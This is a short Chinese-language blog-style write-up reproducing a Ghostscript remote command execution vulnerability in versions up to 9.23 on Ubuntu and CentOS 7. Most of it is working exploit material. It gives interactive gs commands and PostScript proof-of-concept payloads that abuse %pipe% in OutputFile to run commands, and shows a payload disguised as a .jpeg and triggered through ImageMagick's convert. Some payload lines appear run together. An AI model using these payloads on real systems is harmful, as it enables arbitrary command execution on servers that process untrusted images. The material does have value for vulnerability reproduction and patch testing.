
正文
ghostscript 远程命令执行漏洞复现
提示:扫一扫查出行【扫一扫了解最新限行尾号】
复制提示
影响的版本 <= 9.23(全版本、全平台)
Ubuntu
开启 ghostscript
sch01ar@ubuntu:~$ gs -q -sDEVICE=ppmraw -dSAFER -s0utputFile=/dev/null
依次输入
legal{ null restore } stopped { pop } iflegalmark /OutputFile (%pipe%whoami) currentdevice putdevicepropsshowpage
执行结果

poc
%!PSuserdict /setpagedevice undefsavelegal{ null restore } stopped { pop } if{ legal } stopped { pop } ifrestoremark /OutputFile (%pipe%whoami) currentdevice putdeviceprops
用 vim 将 poc 保存为 test.jpeg,执行
sch01ar@ubuntu:~$ convert test.jpeg 1.jpg
执行结果,1.jpg 随便写

Centos 7
开启 ghostscript
[root@sch01ar ~]# gs -q -sDEVICE=ppmraw -dSAFER -s0utputFile=/dev/null
依次输入
legal{ null restore } stopped { pop } iflegalmark /OutputFile (%pipe%id) currentdevice putdevicepropsshowpage
执行结果

poc
%!PSuserdict /setpagedevice undeflegal{ null restore } stopped { pop } iflegalmark /OutputFile (%pipe%id) currentdevice putdeviceprops






